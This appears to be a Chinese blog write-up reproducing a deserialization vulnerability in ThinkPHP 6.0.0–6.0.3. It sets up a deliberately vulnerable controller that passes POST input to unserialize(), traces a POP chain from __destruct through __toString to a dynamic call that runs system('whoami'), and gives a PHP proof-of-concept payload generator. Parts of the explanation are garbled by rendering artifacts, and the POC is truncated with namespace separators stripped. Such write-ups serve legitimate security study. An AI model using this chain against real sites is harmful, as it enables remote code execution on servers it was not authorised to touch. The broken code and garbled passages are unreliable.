ThinkPHP v6.0.x反序列化漏洞复现与分析

thinkPHP v6.0.0-6.0.3反序列化漏洞复现与分析

环境搭建

初始环境,需要注意的是,新版v6基于PHP7.1+开发

php-7.2.9
ThinkPHP v6.0.3

使用composer进行安装

composer create-project topthink/think=6.0.3 tp6.0

坑点,截止到2021/09/16 ,默认核心安装的为framework=v6.0.9 think-orm=2.0.44 但是到最后面部分代码段已经修复了利用点,所以为了避免大家再次踩坑,请部署完成后,请前往composer.json 中,修改核心依赖相关版本,回退更新

"require": {
         "php": ">=7.1.0",
         "topthink/framework": "6.0.3",
         "topthink/think-orm": "2.0.30"
     },

ThinkPHP v6.0.x反序列化漏洞复现与分析_第1张图片

进行回退更新,没有出现报错即成功

composer update

开启web服务进行验证访问

http://localhost/tp6.0/public/

注意:实际测试需要PHP版本>7.2.5

ThinkPHP v6.0.x反序列化漏洞复现与分析_第2张图片

****tp6.0 版本安装后默认使用单应用模式部署,url访问受到路由模式的影响,为了使用方便,我们先要去/config/app.php 中将with_route => false
ThinkPHP v6.0.x反序列化漏洞复现与分析_第3张图片

访问控制器中的hello方法名,并且传递参数值

http://localhost/tp6.0/public/index.php/index/hello/name/123

ThinkPHP v6.0.x反序列化漏洞复现与分析_第4张图片

构建反序列化入口

需要编写一个控制器模块并存在反序列化可控点,这样才能进行利用

tp6.0appcontrollerIndex.php

ThinkPHP v6.0.x反序列化漏洞复现与分析_第5张图片

  public function lyy9(){
        $tmp = $_POST['lyy9'];
        echo $tmp;
        unserialize($tmp);
    }

访问thinkphp路由

http://localhost/tp6.0/public/index.php/index/lyy9

ThinkPHP v6.0.x反序列化漏洞复现与分析_第6张图片

漏洞分析

__destruct()链条

漏洞的一般起点在__destruct() 函数,这次位于/vendor/topthink/think-orm/src/Model.php
ThinkPHP v6.0.x反序列化漏洞复现与分析_第7张图片

this→lazySave可控,跟进save()方法

ThinkPHP v6.0.x反序列化漏洞复现与分析_第8张图片

因为之前的__toString()链条仍然可以使用,因此要想办法找一个可以进入到__toString()的点,这里我们关注的是updateData() 所以前面的判断需要让他不成立,因为是||所以两个都不能为真

跟进isEmpty()

ThinkPHP v6.0.x反序列化漏洞复现与分析_第9张图片

发现$this→data可控,让data[]不为空,则返回false ,第一个条件满足了,再跟进trigger()

ThinkPHP v6.0.x反序列化漏洞复现与分析_第10张图片

可以发现这里$this→withEvent可控,设置withEventfalse 这样就会返回true,这样回到上一层if(false || false === true) 不成立,就会跳过判断

进入$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

exists可控,我们跟进updateData()

    protected function updateData(): bool
    {
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }

        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }

        if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }

        // 检查允许字段
        $allowFields = $this->checkAllowFields();

        foreach ($this->relationWrite as $name => $val) {
            if (!is_array($val)) {
                continue;
            }

            foreach ($val as $key) {
                if (isset($data[$key])) {
                    unset($data[$key]);
                }
            }
        }

        // 模型更新
        $db = $this->db();
        $db->startTrans();

        try {
            $this->key = null;
            $where     = $this->getWhere();

            $result = $db->where($where)
                ->strict(false)
                ->cache(true)
                ->setOption('key', $this->key)
                ->field($allowFields)
                ->update($data);

            $this->checkResult($result);

            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            $db->commit();

            // 更新回调
            $this->trigger('AfterUpdate');

            return true;
        } catch (Exception $e) {
            $db->rollback();
            throw $e;
        }
    }

在这里插入图片描述

这里前面trigger 可控,所以会直接跳过,checkData()并没有定义,也可以直接略过,跟进getChangedData()

ThinkPHP v6.0.x反序列化漏洞复现与分析_第11张图片

this→force可控,当为true 时,返回$this→data ,则$data=$this→data 继续向下跟进

ThinkPHP v6.0.x反序列化漏洞复现与分析_第12张图片

可以看到,要进入checkAllowFields(),需要进行判断$data是否为空,这里要将$data 置为非空,这样就可以跳过判断,跟进checkAllowFields()

ThinkPHP v6.0.x反序列化漏洞复现与分析_第13张图片

$field$schema 都可控,当构造为空时,就可以进入db() 方法
ThinkPHP v6.0.x反序列化漏洞复现与分析_第14张图片

可以看到,这里有. 号,当我们进行构造对象进行字符串拼接时,就会触发__toString() 魔术方法

上半段pop链条

__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()

参数构造

$this->exists = true;
$this->$lazySave = true;
$this->$withEvent = false;

__toString()链条

后面就是延续tp5反序列化的触发toString魔术方法了,就是原来vendor/topthink/think-orm/src/model/concern/Conversion.php的__toString开始的利用链
ThinkPHP v6.0.x反序列化漏洞复现与分析_第15张图片

跟进toJson()

ThinkPHP v6.0.x反序列化漏洞复现与分析_第16张图片

继续跟进toArray()

   public function toArray(): array
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]          = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]         = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

        // 追加属性(必须定义获取器)
        foreach ($this->append as $key => $name) {
            $this->appendAttrToArray($item, $key, $name);
        }

        return $item;
    }

第三个foreach里面存在getAttr方法,他是个关键方法,我们需要触发他

触发条件: t h i s > v i s i b l e [ this->visible[ this>visible[key]存在,即 t h i s > v i s i b l e 存 在 键 名 为 this->visible存在键名为 this>visible存在键名为key的键,而 k e y 则 来 源 于 key则来源于 key则来源于data的键名, d a t a 则 来 源 于 data则来源于 data则来源于this->data,也就是说 t h i s > d a t a 和 this->data和 this>data和this->visible要有相同的键名$key

然后跟进到getAttr

ThinkPHP v6.0.x反序列化漏洞复现与分析_第17张图片

$key值就传入到了getData()方法,跟进getData方法

ThinkPHP v6.0.x反序列化漏洞复现与分析_第18张图片

第一个if判断传入的值, k e y 值 不 为 空 , 因 此 绕 过 , 然 后 key值不为空,因此绕过,然后 key值不为空,因此绕过,然后key值传入到了getRealFieldName()方法,跟进getRealFieldName方法

ThinkPHP v6.0.x反序列化漏洞复现与分析_第19张图片

$this->stricttrue时直接返回$name,即$key

回到getData方法,此时$fieldName = $key,进入判断语句:

if (array_key_exists($fieldName, $this->data)) {
            return $this->data[$fieldName];
        } elseif (array_key_exists($fieldName, $this->relation)) {
            return $this->relation[$fieldName];
        }

返回$this->data[$fielName]也就是$this->data[$key],记为$value

再回到getAttr,也就是返回 t h i s > g e t V a l u e ( this->getValue( this>getValue(key, $value, null);

再跟进到getValue

ThinkPHP v6.0.x反序列化漏洞复现与分析_第20张图片

首先$fieldName=$key 然后进行判断$this→withAttr[$fieldName] 是否存在进入二层判断,默认$relation=false ,不符合,进入下一个判断,默认json为空,主要在后一半$this→withAttr[$fieldName] 是否为数组,最终利用点在于后面的动态函数调用,所以前面两个判断都要绕过。正好withAttr[]我们是可以控制的,只要我们能让$key对应的不为数组就可以绕过

$closure = $this->withAttr[$fieldName];
$value   = $closure($value, $this->data);

前面图中已经很明显写出来$fieldName=$key $value=$this→data[$key]

这样的话,就会把$this->withAttr[$key]withAttr数组$key键对应的值)当做函数名动态执行,参数为$value=$this->data[$key]

例如这样进行构造

$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"];

最后实际执行的是system("whoami")

到这里呈现了一条完整的POP链。

__toString()-->toJson()-->toArray()-->getAttr()->getData()->getRealFieldName()-->getValue()

POC构造

"whoami"];
     private $withAttr = ["key"=>"system"];
 }
 namespace think;
 abstract class Model
 {
     use modelconcernAttribute;
     private $lazySave = true;
     protected $withEvent = false;
     private $exists = true;
     private $force = true;
     protected $name;
     public function __construct($obj=""){
         $this->name=$obj;
     }
 }
 namespace thinkmodel;
 use thinkModel;
 class Pivot extends Model
 {}
 $a=new Pivot();
 $b=new Pivot($a);
 echo urlencode(serialize($b));

访问

http://localhost/tp6.0/public/index.php/index/lyy9

ThinkPHP v6.0.x反序列化漏洞复现与分析_第21张图片

总结

这次反序列化链的终点并不是call_user_func也不是回调函数,而是动态函数的调用

中间__toString()魔术方法的触发也不是通过函数调用而是对变量(类变量)的拼接

你可能感兴趣的:(面试,学习路线,阿里巴巴,php,web安全,安全,分布式,mariadb)